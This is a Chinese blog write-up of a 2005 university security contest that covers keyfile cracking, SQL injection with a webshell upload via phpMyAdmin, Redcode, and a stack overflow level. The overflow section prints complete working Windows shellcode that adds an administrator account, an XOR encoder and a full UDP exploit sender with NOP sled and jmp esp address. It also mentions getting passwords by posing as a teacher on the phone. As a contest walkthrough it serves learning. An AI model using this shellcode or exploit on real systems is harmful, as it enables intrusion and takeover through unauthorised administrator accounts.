北京理工大学第二届ISC文档

  本文原做于2005年 北京理工大学第二届ISC竞赛(Information Security & Countermeasure)结束之后。
  转载此文请注明本文出处 北京理工大学第二届ISC文档

  从整体上看,这届ISC竞赛的整体设计、关卡的考虑都比去年要完善很多。比如第三大关的三条支路设计就很好,可以让人学到很多,也可以让有某一专长的人长驱直入后面的关卡。
  从头走一遭吧。
  第一关和第二关的第一小关没什么好说的,简单的网页游戏,看下页面源码就可以轻松搞定。但到了第二关第二小关(2-2),就难住了很多人,也曾让我着实郁闷了一会。这关考查的是在开放环境中的信息隐藏。以大量的回车去分割有效信息与要隐藏的信息是一种很有效的方式,可以迷惑很多人的眼睛。我过这关时有一定的运气,之前因为做东西的需要,装了个perl解释器activeperl,里面带了几个命令行下的工具,其中之一叫get,应用在此关上的格式为get http://10.1.8.254/gates/fu/img/3.png。就可以直接以文本的方式得到源码,在内网是很好用的,也是这个简单的方法,让我看到了隐藏在其中被隐藏的信息。这关让很多人知道在一个正常的文件后面填充一些信息可以不破坏文件结构。

  这样,我们就到了第3关的门口,该关分为三条支路,为别记作3a-1,3a-2,3a-3,3b-1,3b-2,3b-3,3c-1,3c-2,3c-3。其中3a支路为逆向工程,说得简单通俗些,就是常说的破解。3a-1是很容易的,当用静态调试工具(我用的w32dasm)打开时,很容易就发现进入下一关的地址。

  而3a-2是比较有挑战性的一关,其采用的是keyfile的注册方式,这种注册方式在现在的软件中被采用的十分广泛。还是用w32dasm调入creakme.exe。可以发现字符串“am3c6x”和文件长度40字节。这个就是keyfile的文件名和长度,当然还可以用filemon一类的软件来检测文件调用情况来查到文件名。其后的方法分为动态构造与静态分析两种方法。静态分析时,需要对算法进行分析,按照一般的keyfile的注册过程,可以在creakme里找到如下内容:

  这个就是算法过程,对其进行足够的分析后,就可以以16位方式构造出正确的keyfile。而我采取的是动态构造,先以16位方式构造出任意符合要求的keyfile,例如:

  注意我构造的这个keyfile就可以发现里面没有重复的16进制数(0xFF),这样可以有效地进行数值的判断。其后以ollydbg加载creakme文件。在

处下断点,运行,停在这个位置。而后修改0040112E处的jnz为je

目的在于改变原有的不符合跳出为不符合继续,便于构造。此时按F7单步进入,注意ecx和edx寄存器最低位的变化,很容易可以看到自己构造进去的数据,例如上例中,执行过mov cl,byte ptr ss:[esp+eax+C]后,ecx最低位为AA,xor cl,dl后,ecx最低位为11,mov dl,byte ptr ss:[esp+eax+20]后edx最低位为EF,AA对应构造的字串的第一位,而EF对应第21位,这样就可以知道第21位应该是11才可以保证正确,修改构造的keyfile。重复这个过程,就可以构造出整个的keyfile。最终验证通过。动态法与静态法各有优劣,动态法免去了对算法具体过程的分析,得出的内容比较直观清晰;而静态法可以对算法有一定的了解,便于写出注册机或keyfile生成器。之后到了3a-3,按照设计者的思路,应该是抓包后进行分析从而得出正确的注册码,而由于该关的注册码只为3位数字,而且又是在局域网内,因此完全可以采取枚举的方式来得到正确的注册码。在cmd下执行如下语句即可:

for /L %c IN (1,1,9) DO creakme.exe shalafi 00%c
for /L %c IN (10,1,99) DO creakme.exe shalafi 0%c
for /L %c IN (100,1,999) DO creakme.exe shalafi %c

  之后到达3b支路,3b是传说中的redcode_corewar,这个据说是计算机病毒的最初哦。对于这个不想说太多,只是一种编程语言的学习与应用而已。说下我3b_3的对抗思路,观察发现3b_3的移动有一定的规律,比如隔3个出现攻击点,因此只要合理构造自己,就可以解除威胁达到不死,再杀死对手就是很容易的事情了。

  走过3b,就到了3c。3c是脚本关。进入3c_1后,发现是个asp的社区类的,叫乔客XXXX。随便找个几个页面试了下,存在注入漏洞。因为目的是拿到后台权限,因此需要知道表名等资料,这时可以分为两种方法,一为猜解,这个可以说是比较通用的方法;第二种方法是找一个乔客的模版,然后看其中数据库结构,这样免去了猜解过程。个人使用的第2种方法。然后爆出一个管理员的密码的md5值,而后就是暴力破解这个md5。这样就得到了相应的管理员用户名和密码。之后将自己也添加为管理员就可以看到下一关的路径了。如果很懒的话,也可以用工具来注入比如nbsi,hdsi一类。

  而3c_2是利用乔客论坛的上传漏洞来实现的,具体的在网上有现成的教程,我就不赘述啦。而3c_3则为php的注入。最开始想利用union来跨库查询,结果失败了,而后采取通过注入猜出密码,为“iscphpmyadmin”,很明显这个站使用了phpmyadmin这个东西,而后我又被郁闷了下,尝试了所有的路径,结果都不行。究其原因就是没有加上前面的isc,这个地方的设计感觉有些怪异,一般来说是没有人会把phpmyadmin的路径和用户密码设为一样的。但事实就是事实啦,所以用iscphpmyadmin的路径就进入了phpmyadmin的系统,而后在其中查出对应的物理路径,并写入php网页木马,从而顺利得到需要的过关文件。

  因为现今sql注入很常见,而且讨论的很多,因此大家在网上可以找到很多相关的东西,想好好学学的还是自己多试试就好了。

  到了第四关。第四关是溢出关,考察了通过者的综合能力。对于溢出(exploit)要先分析问题程序,找出溢出点。那么就要涉及到溢出原理,一般来说我们遇到的大多是堆栈溢出,而这关的程序也既是如此。对于堆栈溢出,是由于不安全的数据输入。比如gets()就是一个不安全的数据输入命令。说其不安全就是没有对数据长度做出限制,而可以导致输入过长数据,这样会覆盖到后面的正常数据,甚至其他程序的数据,从而达到溢出的目的。以这个实例来说,这个程序有两个参数,一个是username,一个是ip。猜测username可能存在溢出漏洞,构造如下字串进行测试:

E:\isc\4>get-remote-info.exe aaaabbbbccccddddeeeeffffgggghhhhiiiijjjj kkkkllllmmmmnnnnooooppppqqqqrrrrsssstttt uuuuvvvvwwwwxxxxyyyyzzzz111122223333 4444555566667777888899990000 127.0.0.1

会出现如下错误报告

  可以看出是7777覆盖了eip的值,导致进行了错误的转跳。那么我们把这个位置的值换为系统dll文件中的jmp esp的值,就可以直接转跳到其后接着的位置,从而让其调用我们的shellcode。至此,溢出点已经定位成功。而后就是准备shellcode了。对于shellcode的书写,现在比较通用的,是利用系统的GetProcAddress及LOADLIBRARY两个函数来动态载入dll库及需要用到的函数,以达到通用的目的。以下是我用的shellcode,目的只是利用winexec函数来添加一个用户并加至管理员组。

#include 

int main()
{
    __asm{
        push   ebp
        sub    esp, 0x40;
        mov    ebp, esp;

        push   ebp
        mov    eax, fs:0x30       ;PEB
        mov    eax, [eax+0x0c]    ;Ldr
        mov    esi, [eax+0x1c]    ;Flink
        lodsd
        mov    edi, [eax+0x08]    ;edi = kernel32.dll
            
        mov    eax, [edi+3Ch]     ;eax = PE首部
        mov    edx, [edi+eax+78h]
        add    edx, edi           ;edx = 输出表地址
        mov    ecx, [edx+18h]     ;ecx = 输出函数个数
        mov    ebx, [edx+20h]                 
        add    ebx, edi           ;ebx = 函数名地址
        
search:
        dec     ecx
        mov     esi, [ebx+ecx*4]                
        add     esi, edi          ;依次找每个函数名称
        ;GetProcAddress
        mov     eax, 0x50746547
        cmp     [esi], eax        ;'PteG'
        jne     search
        mov     eax, 0x41636f72
        cmp     [esi+4], eax      ;'Acor'
        jne     search

        ;如果是GetProcA,表示找到了
        mov     ebx, [edx+24h]
        add     ebx, edi          ;ebx = 索引号地址
        mov     cx,  [ebx+ecx*2]  ;ecx = 计算出的索引号值
        mov     ebx, [edx+1Ch]
        add     ebx, edi          ;ebx = 函数地址的起始位置
        mov     eax, [ebx+ecx*4]
        add     eax, edi          ;用索引值,算GetProcAddress

        mov     [ebp+40h], eax    ;GetProcAddress的地址=ebp+40

        push    dword ptr 0x00636578   ;构造WinExec
        push    dword ptr 0x456e6957
        push    esp
        push    edi
        call    [ebp+40h]              ;执行GetProcAddress
        mov     [ebp+8h], eax          ;存入WinExec的地址

        push    dword ptr 0x00737365   ;构造ExitProcess
        push    dword ptr 0x636f7250
        push    dword ptr 0x74697845
        push    esp
        push    edi
        call    [ebp+40h]              ;执行GetProcAddress
        mov     [ebp+12h], eax         ;存入ExitProcess的地址
    
        push    0                        
        push    dword ptr 0
        push    dword ptr 0x6464612f   ;/add
        push    dword ptr 0x20696661   ;afi 
        push    dword ptr 0x6c616873   ;shal
        push    dword ptr 0x63736920   ; isc
        push    dword ptr 0x6966616c   ;lafi
        push    dword ptr 0x61687320   ; sha
        push    dword ptr 0x72657375   ;user
        push    dword ptr 0x2074656e   ;net 
        push    esp
        call    [ebp+8h]

        push    0                        
        push    dword ptr 0x00006464   ;dd
        push    dword ptr 0x612f2069   ;i /a
        push    dword ptr 0x66616c61   ;alaf
        push    dword ptr 0x68732073   ;s sh
        push    dword ptr 0x726f7461   ;ator
        push    dword ptr 0x72747369   ;istr
        push    dword ptr 0x6e696d64   ;dmin
        push    dword ptr 0x61207075   ;up a
        push    dword ptr 0x6f72676c   ;lgro
        push    dword ptr 0x61636f6c   ;loca
        push    dword ptr 0x2074656e   ;net 
        push    esp
        call    [ebp+8h]

        push    0                      ;ExitProcess
        call    [ebp+12h]
    }
    return 0;
}

  而后提取出其中的16进制asm码,可以编译后用16进制编辑器打开后,直接复制相应的部分下来,也可以用一些小程序进行提取,我采取的是前者。因为其中存在0x00,而0x00被视为终止字符,因此要将代码进行编码,我采用如下程序进行编码:

#include 
#include 
#define KEY 0x97
unsigned char ShellCode[]="";

int main()
{
    int i, nLen;
    unsigned char enShellCode[500];
    nLen = sizeof(ShellCode)-1;

    printf("\"");

    for(i=0; i0)
        printf("\"\n\"");
    }
    printf(";\n\n");
    
    printf("Length:%d", nLen);

    return 0;
}

  将提取出的16进制shellcode复制到unsigned char ShellCode[]=后面的引号中,就可以得到编码后的shellcode了。而后就是溢出程序的主体。

#include  
#include  
#include 

int sendudp (void* v) 
{ 
/*
"\x12\x45\xfa\x7f"为通用jmp esp地址,在2ksp4和xpsp1下
都可以用,据说其他系统下也可以。

其后的"\xeb\x6c"是用来跳过一部分被转换的字串,达到正确
的Shellcode用,其实就一条jmp指令。

再后面的"\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x01\x02\x80"
"\x34\x0a\x97\xe2\xfa\xeb\x05\xe8\xeb\xff\xff\xff"是用
来给编码过的shellcode解码使用。

其后紧跟的就是编码过的shellcode(需要替换)。
其余位置填充\x90,也就是NOP。
*/
    char buf[]=
        "\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x01\x01\x80"
        "\x34\x0a\x97\xe2\xfa\xeb\x05\xe8\xeb\xff\xff"
        "\xff\xc2\x14\x7b\xd7\x1c\x7b\x2f\x05\xe3\x7f"
        "\xe0\x1e\xd2\x9f\x2f\xe5\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90"

        "\x12\x45\xfa\x7f\xeb\x6c"

        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

        "\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x01\x02\x80"
        "\x34\x0a\x97\xe2\xfa\xeb\x05\xe8\xeb\xff\xff"
        "\xff\xc2\x14\x7b\xd7\x1c\x7b\xc2\xf3\x36\xa7"
        "\x97\x97\x97\x1c\xd7\x9b\x1c\xe7\x8b\x3a\x1c"
        "\xef\x9f\x1c\xd0\xab\x1c\xc3\x90\xef\x94\x40"
        "\x1c\xdd\x8f\x1c\xcd\xb7\x94\x48\xde\x1c\xa3"
        "\x1c\x94\x60\x2f\xd0\xf2\xe3\xc7\xae\x91\xe2"
        "\x66\x2f\xe5\xf8\xf4\xd6\xae\xd1\x93\xe2\x70"
        "\x1c\xcd\xb3\x94\x48\xf1\x1c\x9b\xdc\x1c\xcd"
        "\x8b\x94\x48\x1c\x93\x1c\x94\x50\x1e\xd2\xd7"
        "\xff\xef\xf2\xf4\x97\xff\xc0\xfe\xf9\xd2\xc3"
        "\xc0\x68\xc2\xd7\x1e\xd2\x9f\xff\xf2\xe4\xe4"
        "\x97\xff\xc7\xe5\xf8\xf4\xff\xd2\xef\xfe\xe3"
        "\xc3\xc0\x68\xc2\xd7\x1e\xd2\x85\xfd\x97\xff"
        "\xb9\xe3\xef\xe3\xff\xf4\xad\xcb\xa6\xff\xef"
        "\xf2\xb7\xa9\xff\xe5\xe3\xb9\xf2\xff\xcb\xf1"
        "\xe7\xf8\xff\xfe\xf9\xf9\xe3\xff\xf4\xad\xcb"
        "\xe0\xc3\x68\xc2\x9f\xfd\x97\x68\xc2\x85"

        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90";

    SOCKADDR_IN addr_in; 
    char *targetip; 
    //unsigned short targetport;
    targetip = (char*)v; 
    //targetport = (unsigned short)p; 

    SOCKET sock; 

    if ((sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) == INVALID_SOCKET) 
    { 
        printf("Socket failed.Error:%d\n", WSAGetLastError()); 
        return 1; 
    } 

    const int SNDBUF = 0; 
    const int TCPNODELAY = true; 
    const int BROADCAST = true; 
    
    if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF)) == SOCKET_ERROR) 
    { 
        printf("Set SO_SNDBUF failed.Error:%d", WSAGetLastError()); 
        return 1; 
    } 
    if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY)) == SOCKET_ERROR) 
    { 
        printf("Set TCP_NODELAY failed.Error:%d", WSAGetLastError()); 
        return 1; 
    } 
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST)) == SOCKET_ERROR) 
    { 
        printf("Set SO_BROADCAST failed.Error:%d", WSAGetLastError()); 
        return 1; 
    } 

    addr_in.sin_family = AF_INET; 
    addr_in.sin_port = htons(10999); 
    addr_in.sin_addr.S_un.S_addr = inet_addr(targetip); 

    if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in)) == SOCKET_ERROR) 
    { 
        printf("Send failed.Error:%d\n", WSAGetLastError()); 
        return 1; 
    }
    closesocket(sock); 
    return 0;
} 

void useage(char* mainexecute) 
{ 
    printf("******************************************\n");
    printf("ISC4溢出程序\n"); 
    printf("\t Written by Transparentmask\n"); 
    printf("Useage: %s target_ip\n", mainexecute); 
    printf("******************************************\n");
} 

int main(int argc, char* argv[]) 
{ 
    int i;
    WSADATA WSAData; 
    useage(argv[0]); 
    if (argc != 2) 
    { 
        return false; 
    } 

    if (WSAStartup(MAKEWORD(2,0),&WSAData) != 0)
    { 
        printf("WSAStartup error.Error:%d\n", WSAGetLastError());
        return false; 
    } 
    Sleep(1000); 
    printf("ISC4 Exploit start..."); 

    i=sendudp((void*)argv[1]); 
    
    Sleep(600); 
    WSACleanup();
    if (i==0)
        printf("ISC4 Exploit Complete.\n");
    else
        printf("ISC4 Exploit Fails.\n");
    return 0; 
}

  编译运行后就会顺利得溢出对方的服务器以达到增加用户的目的。

  对于四来说,有几个要点,首先要定位准溢出点,其后是要写出或找出一个可以使用的shellcode,再次就是写出真个溢出程序,还要注意对于数据包长度的要求,最后要注意的就是jmp esp后会有一段内容做某种运算而和你输入的内容不同,所以要定位出变换区的终止位置,做出jmp转跳。

  第5关是攻防关,进入主机后,进行内部的权限攻防,个人由于准备论坛的两周年庆,只是进入了第5关后,就没有进行后续的攻防。而进入的方法则是sniff。后来知道可以打电话装做是老师骗来密码。

  整个的流程大致就是这样了。对于这届比赛个人还是感觉很不错的,学到了很多东西,比如逆向、溢出程序及shellcode的编写和实际运用、redcode的编写和思想等等,都是因为这届ISC比赛而现学现卖的。因此可以说收获很大。

《北京理工大学第二届ISC文档》有3个想法

发表评论

电子邮件地址不会被公开。 必填项已用*标注